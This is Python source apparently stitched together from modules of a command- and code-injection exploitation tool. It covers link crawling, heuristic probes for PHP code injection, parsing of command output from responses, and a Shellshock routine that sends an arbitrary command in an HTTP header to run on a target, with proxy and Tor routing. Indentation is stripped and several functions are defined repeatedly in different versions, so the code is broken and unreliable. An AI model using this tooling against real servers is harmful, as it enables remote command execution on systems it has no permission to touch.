def crawling(url):
try:
response = request(url)
content = checks.page_encoding(response, action="decode")
match = re.search(r"(?si)<html[^>]*>(.+)</html>", content)
if match:
content = "<html>%s</html>" % match.group(1)
soup = BeautifulSoup(content)
tags = soup('a')
if not tags:
tags = []
tags += re.finditer(r'(?i)\s(href|src)=["\'](?P<href>[^>"\']+)', content)
tags += re.finditer(r'(?i)window\.open\(["\'](?P<href>[^)"\']+)["\']', content)
for tag in tags:
href = tag.get("href") if hasattr(tag, settings.HTTPMETHOD.GET) else tag.group("href")
if href:
href = _urllib.parse.urljoin(url, href)
if _urllib.parse.urlparse(url).netloc in href:
if not re.search(r"\?(v=)?\d+\Z", href) and not \
re.search(r"(?i)\.(js|css)(\?|\Z)", href) and \
href.split('.')[-1].lower() not in settings.CRAWL_EXCLUDE_EXTENSIONS:
if request(href):
HREF_LIST.append(href)
if len(HREF_LIST) != 0:
return list(set(HREF_LIST))
else:
if not settings.VERBOSITY_LEVEL >= 2:
print(settings.SPACE)
warn_msg = "No usable links found."
print(settings.print_warning_msg(warn_msg))
raise SystemExit()
except (UnicodeEncodeError, ValueError) as e: # for non-HTML files and non-valid links
pass
def injection_results(url, OUTPUT_TEXTFILE, timesec):
#Find the directory.
output = injection_output(url, OUTPUT_TEXTFILE, timesec)
# Check if defined extra headers.
request = _urllib.request.Request(output)
headers.do_check(request)
headers.check_http_traffic(request)
# Check if defined any HTTP Proxy (--proxy option).
if menu.options.proxy:
response = proxy.use_proxy(request)
# Check if defined Tor (--tor option).
elif menu.options.tor:
response = tor.use_tor(request)
else:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
try:
shell = checks.page_encoding(response,
action="encode").rstrip().lstrip()
#shell = [newline.replace("\n"," ") for newline in shell]
if settings.TARGET_OS == "win":
shell = [newline.replace("\r", "") for newline in shell]
#shell = [space.strip() for space in shell]
shell = [empty for empty in shell if empty]
except _urllib.error.HTTPError as e:
if str(e.getcode()) == settings.NOT_FOUND_ERROR:
shell = ""
return shell
# eof
def heuristic_basic(url, http_request_method):
injection_type = "results-based dynamic code evaluation"
technique = "dynamic code evaluation technique"
technique = "(" + injection_type.split(" ")[0] + ") " + technique + ""
if menu.options.skip_heuristics:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Skipping (basic) heuristic detection for " + technique + "."
print(settings.print_debug_msg(debug_msg))
return url
else:
settings.EVAL_BASED_STATE = True
try:
try:
if re.findall(r"=(.*)&", url):
url = url.replace("/&", "/e&")
elif re.findall(r"=(.*)&", menu.options.data):
menu.options.data = menu.options.data.replace("/&", "/e&")
except TypeError as err_msg:
pass
if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Starting (basic) heuristic detection for " + technique + "."
print(settings.print_debug_msg(debug_msg))
for payload in settings.PHPINFO_CHECK_PAYLOADS:
payload = checks.perform_payload_modification(payload)
if settings.VERBOSITY_LEVEL >= 1:
print(settings.print_payload(payload))
if not menu.options.data:
request = _urllib.request.Request(url.replace(settings.INJECT_TAG, payload))
else:
data = menu.options.data.replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING))
headers.do_check(request)
response = requests.get_request_response(request)
if type(response) is not bool:
html_data = checks.page_encoding(response, action="decode")
match = re.search(settings.CODE_INJECTION_PHPINFO, html_data)
if match:
technique = technique + " (possible PHP version: '" + match.group(1) + "')"
settings.IDENTIFIED_PHPINFO = True
else:
for warning in settings.CODE_INJECTION_WARNINGS:
if warning in html_data:
settings.IDENTIFIED_WARNINGS = True
break
if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
info_msg = "Heuristic detection shows that target might be injectable via " + technique + "."
print(settings.print_bold_info_msg(info_msg))
break
settings.EVAL_BASED_STATE = False
return url
except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
def injection_test_results(response, TAG, randvcalc):
if response == False:
return False
else:
html_data = checks.page_encoding(response, action="decode")
html_data = re.sub("\n", " ", html_data)
if settings.SKIP_CALC:
shell = re.findall(r"" + TAG + " " + TAG + " " + TAG + " " , html_data)
else:
shell = re.findall(r"" + TAG + " " + str(randvcalc) + " " + TAG + " " + TAG + " " , html_data)
return shell
def injection_results(response, TAG, cmd):
new_line = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
# Grab execution results
html_data = checks.page_encoding(response, action="decode")
html_data = re.sub("\n", new_line, html_data)
shell = re.findall(r"" + TAG + new_line + TAG + "(.*)" + TAG + new_line + TAG + "", html_data)
try:
shell = shell[0].replace(new_line, "\n").rstrip().lstrip()
except IndexError:
pass
return shell
# eof
def injection_results(response, TAG, cmd):
false_result = False
try:
# Grab execution results
html_data = checks.page_encoding(response, action="decode")
html_data = html_data.replace("\n", " ")
# cleanup string / unescape html to string
html_data = _urllib.parse.unquote(html_data)
html_data = unescape(html_data)
# Replace non-ASCII characters with a single space
re.sub(r"[^\x00-\x7f]", r" ", html_data)
for end_line in settings.END_LINE:
if end_line in html_data:
html_data = html_data.replace(end_line, " ")
break
shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + " ",
html_data)
if not shell:
shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + "",
html_data)
if not shell:
return shell
try:
if TAG in shell:
shell = re.findall(r"" + "(.*)" + TAG + TAG, shell)
# Clear junks
shell = [tags.replace(TAG + TAG, " ") for tags in shell]
shell = [backslash.replace("\/", "/") for backslash in shell]
except UnicodeDecodeError:
pass
if settings.TARGET_OS == "win":
if menu.options.alter_shell:
shell = [right_space.rstrip() for right_space in shell]
shell = [left_space.lstrip() for left_space in shell]
if "<<<<" in shell[0]:
false_result = True
else:
if shell[0] == "%i":
false_result = True
except AttributeError:
false_result = True
if false_result:
shell = ""
return shell
def heuristic_basic(url, http_request_method):
technique = "dynamic code evaluation technique"
try:
try:
if re.findall(r"=(.*)&", url):
url = url.replace("/&", "/e&")
elif re.findall(r"=(.*)&", menu.options.data):
menu.options.data = menu.options.data.replace("/&", "/e&")
except TypeError as err_msg:
pass
if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Performing heuristic test for " + technique + "."
print(settings.print_debug_msg(debug_msg))
if http_request_method == "GET":
request = _urllib.request.Request(
url.replace(settings.INJECT_TAG, settings.BASIC_TEST))
else:
data = menu.options.data.replace(settings.INJECT_TAG,
settings.BASIC_TEST)
request = _urllib.request.Request(
url, data.encode(settings.UNICODE_ENCODING))
headers.do_check(request)
response = requests.get_request_response(request)
if type(response) is not bool:
html_data = checks.page_encoding(response, action="decode")
match = re.search(settings.CODE_INJECTION_PHPINFO, html_data)
if match:
technique = technique + " (possible PHP version: '" + match.group(
1) + "')"
settings.IDENTIFIED_PHPINFO = True
else:
for warning in settings.CODE_INJECTION_WARNINGS:
if warning in html_data:
settings.IDENTIFIED_WARNINGS = True
break
if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
info_msg = "Heuristic test shows that target might be injectable via " + technique + "."
print(settings.print_bold_info_msg(info_msg))
return url
except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
def injection_test_results(response, TAG, randvcalc):
if response == False:
return False
else:
# Check the execution results
html_data = checks.page_encoding(response, action="decode")
html_data = html_data.replace("\n", " ")
# cleanup string / unescape html to string
html_data = _urllib.parse.unquote(html_data)
html_data = unescape(html_data)
# Replace non-ASCII characters with a single space
re.sub(r"[^\x00-\x7f]", r" ", html_data)
if settings.SKIP_CALC:
shell = re.findall(r"" + TAG + TAG + TAG, html_data)
else:
shell = re.findall(r"" + TAG + str(randvcalc) + TAG + TAG,
html_data)
if len(shell) > 1:
shell = shell[0]
return shell
def sitemap(url):
try:
if not url.endswith(".xml"):
if not url.endswith("/"):
url = url + "/"
url = _urllib.parse.urljoin(url, "sitemap.xml")
response = request(url)
content = checks.page_encoding(response, action="decode")
for match in re.finditer(r"<loc>\s*([^<]+)", content or ""):
url = match.group(1).strip()
SITEMAP_LOC.append(url)
if url.endswith(".xml") and "sitemap" in url.lower():
while True:
warn_msg = "A sitemap recursion detected (" + url + ")."
print(settings.print_warning_msg(warn_msg))
if not menu.options.batch:
question_msg = "Do you want to follow? [Y/n] > "
message = _input(
settings.print_question_msg(question_msg))
else:
message = ""
if len(message) == 0:
message = "Y"
if message in settings.CHOICE_YES:
sitemap(url)
break
elif message in settings.CHOICE_NO:
break
elif message in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + message + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
return SITEMAP_LOC
except:
if not menu.options.crawldepth:
raise SystemExit()
pass
def check_for_shell(url, cmd, cve, check_header, filename):
try:
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
cmd = "echo " + TAG + "$(" + cmd + ")" + TAG
payload = shellshock_exploitation(cve, cmd)
debug_msg = "Executing the '" + cmd + "' command. "
if settings.VERBOSITY_LEVEL != 0:
sys.stdout.write(settings.print_debug_msg(debug_msg))
sys.stdout.flush()
if settings.VERBOSITY_LEVEL != 0:
sys.stdout.write("\n" + settings.print_payload(payload)+ "\n")
header = {check_header : payload}
request = _urllib.request.Request(url, None, header)
if check_header == "User-Agent":
menu.options.agent = payload
else:
menu.options.agent = default_user_agent
log_http_headers.do_check(request)
log_http_headers.check_http_traffic(request)
# Check if defined any HTTP Proxy.
if menu.options.proxy:
response = proxy.use_proxy(request)
# Check if defined Tor.
elif menu.options.tor:
response = tor.use_tor(request)
else:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
shell = checks.page_encoding(response, action="decode").rstrip().replace('\n',' ')
shell = re.findall(r"" + TAG + "(.*)" + TAG, shell)
shell = ''.join(shell)
return shell, payload
except _urllib.error.URLError as err_msg:
print("\n" + settings.print_critical_msg(err_msg))
raise SystemExit()
def check_http_traffic(request):
settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1
# Delay in seconds between each HTTP request
time.sleep(int(settings.DELAY))
if settings.SCHEME == 'https':
http_client = _http_client.HTTPSConnection
else:
http_client = _http_client.HTTPConnection
class connection(http_client):
def send(self, req):
headers = req.decode()
request_http_headers = str(headers).split("\r\n")
unique_request_http_headers = []
[
unique_request_http_headers.append(item)
for item in request_http_headers
if item not in unique_request_http_headers
]
request_http_headers = unique_request_http_headers
for header in request_http_headers:
if settings.VERBOSITY_LEVEL >= 2:
print(settings.print_traffic(header))
if menu.options.traffic_file:
logs.log_traffic("\n" + header)
http_client.send(self, req)
class connection_handler(_urllib.request.HTTPSHandler,
_urllib.request.HTTPHandler, object):
def http_open(self, req):
try:
self.do_open(connection, req)
return super(connection_handler, self).http_open(req)
except (_urllib.error.HTTPError,
_urllib.error.URLError) as err_msg:
try:
error_msg = str(err_msg.args[0]).split("] ")[1] + "."
except IndexError:
error_msg = str(err_msg.args[0]) + "."
error_msg = "Connection to the target URL " + error_msg
except _http_client.InvalidURL as err_msg:
settings.VALID_URL = False
error_msg = err_msg
if current_attempt == 0 and settings.VERBOSITY_LEVEL < 2:
print(settings.SINGLE_WHITESPACE)
print(settings.print_critical_msg(error_msg))
if not settings.VALID_URL:
raise SystemExit()
def https_open(self, req):
try:
self.do_open(connection, req)
return super(connection_handler, self).https_open(req)
except (_urllib.error.HTTPError,
_urllib.error.URLError) as err_msg:
try:
error_msg = str(err_msg.args[0]).split("] ")[1] + "."
except IndexError:
error_msg = str(err_msg.args[0]) + "."
error_msg = "Connection to the target URL " + error_msg
except _http_client.InvalidURL as err_msg:
settings.VALID_URL = False
error_msg = err_msg
if current_attempt == 0 and settings.VERBOSITY_LEVEL < 2:
print(settings.SINGLE_WHITESPACE)
print(settings.print_critical_msg(error_msg))
if not settings.VALID_URL:
raise SystemExit()
opener = _urllib.request.build_opener(connection_handler())
if len(settings.HTTP_METHOD) != 0:
request.get_method = lambda: settings.HTTP_METHOD
_ = False
current_attempt = 0
unauthorized = False
while not _ and current_attempt <= settings.MAX_RETRIES and unauthorized is False:
if settings.VERBOSITY_LEVEL >= 2 or menu.options.traffic_file:
if settings.VERBOSITY_LEVEL >= 2:
req_msg = "HTTP request [" + settings.print_request_num(
settings.TOTAL_OF_REQUESTS) + "]:"
print(settings.print_request_msg(req_msg))
if menu.options.traffic_file:
req_msg = "HTTP request [#" + str(
settings.TOTAL_OF_REQUESTS) + "]:"
logs.log_traffic(req_msg)
try:
response = opener.open(request, timeout=settings.TIMEOUT)
page = checks.page_encoding(response, action="encode")
_ = True
if settings.VERBOSITY_LEVEL < 2:
if current_attempt != 0:
info_msg = "Testing connection to the target URL."
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
if settings.INIT_TEST == True and not settings.UNAUTHORIZED:
print(settings.SINGLE_WHITESPACE)
if not settings.CHECK_INTERNET:
settings.INIT_TEST = False
except _urllib.error.HTTPError as err_msg:
if settings.UNAUTHORIZED_ERROR in str(err_msg):
settings.UNAUTHORIZED = unauthorized = True
if [
True for err_code in settings.HTTP_ERROR_CODES
if err_code in str(err_msg)
]:
break
except (_urllib.error.URLError, _http_client.BadStatusLine,
_http_client.IncompleteRead) as err_msg:
if current_attempt == 0:
if settings.VERBOSITY_LEVEL < 2 and "has closed the connection" in str(
err_msg):
print(settings.SINGLE_WHITESPACE)
if "IncompleteRead" in str(err_msg):
warn_msg = "There was an incomplete read error while retrieving data "
warn_msg += "from the target URL "
else:
warn_msg = "The provided target URL seems not reachable. "
warn_msg += "In case that it is, please try to re-run using "
if not menu.options.random_agent:
warn_msg += "'--random-agent' switch and/or "
warn_msg += "'--proxy' option."
print(settings.print_warning_msg(warn_msg))
info_msg = settings.APPLICATION.capitalize(
) + " is going to retry the request(s)."
print(settings.print_info_msg(info_msg))
current_attempt = current_attempt + 1
time.sleep(3)
except ValueError as err:
if settings.VERBOSITY_LEVEL < 2:
print(settings.SINGLE_WHITESPACE)
err_msg = "Invalid target URL has been given."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
except AttributeError:
raise SystemExit()
try:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
code = response.getcode()
response_headers = response.info()
page = checks.page_encoding(response, action="encode")
response_headers[settings.URI_HTTP_HEADER] = response.geturl()
response_headers = str(response_headers).strip("\n")
if settings.VERBOSITY_LEVEL > 2 or menu.options.traffic_file:
print_http_response(response_headers, code, page)
# Checks regarding a potential CAPTCHA protection mechanism.
checks.captcha_check(page)
# Checks regarding a potential browser verification protection mechanism.
checks.browser_verification(page)
# Checks regarding recognition of generic "your ip has been blocked" messages.
checks.blocked_ip(page)
# Checks for not declared cookie(s), while server wants to set its own.
if menu.options.cookie == None and not menu.options.drop_set_cookie:
checks.not_declared_cookies(response)
# This is useful when handling exotic HTTP errors (i.e requests for authentication).
except _urllib.error.HTTPError as err:
if settings.VERBOSITY_LEVEL != 0:
print_http_response(err.info(), err.code, err.read())
if not settings.PERFORM_CRACKING and \
not settings.IS_JSON and \
not settings.IS_XML and \
not str(err.code) == settings.INTERNAL_SERVER_ERROR and \
not str(err.code) == settings.BAD_REQUEST:
print(settings.SINGLE_WHITESPACE)
# error_msg = "Got " + str(err).replace(": "," (")
# Check for 3xx, 4xx, 5xx HTTP error codes.
if str(err.code).startswith(('3', '4', '5')):
if settings.VERBOSITY_LEVEL >= 2:
if len(str(err).split(": ")[1]) == 0:
error_msg = "Non-standard HTTP status code"
pass
else:
error_msg = str(err).replace(": ", " (")
if len(str(err).split(": ")[1]) == 0:
err_msg = error_msg + "Non-standard HTTP status code"
else:
err_msg = error_msg
print(settings.print_critical_msg(err_msg + ")."))
raise SystemExit()
# The handlers raise this exception when they run into a problem.
except (_http_client.HTTPException, _urllib.error.URLError,
_http_client.IncompleteRead) as err:
if any(_ in str(err) for _ in ("timed out", "IncompleteRead",
"Interrupted system call")):
pass
else:
err_msg = "Unable to connect to the target URL"
try:
err_msg += " (Reason: " + str(
err.args[0]).split("] ")[-1].lower() + ")."
except IndexError:
err_msg += "."
if menu.options.bulkfile:
raise
else:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
# Raise exception regarding existing connection was forcibly closed by the remote host.
except SocketError as err:
if err.errno == errno.ECONNRESET:
error_msg = "Connection reset by peer."
print(settings.print_critical_msg(error_msg))
elif err.errno == errno.ECONNREFUSED:
error_msg = "Connection refused."
print(settings.print_critical_msg(error_msg))
raise SystemExit()
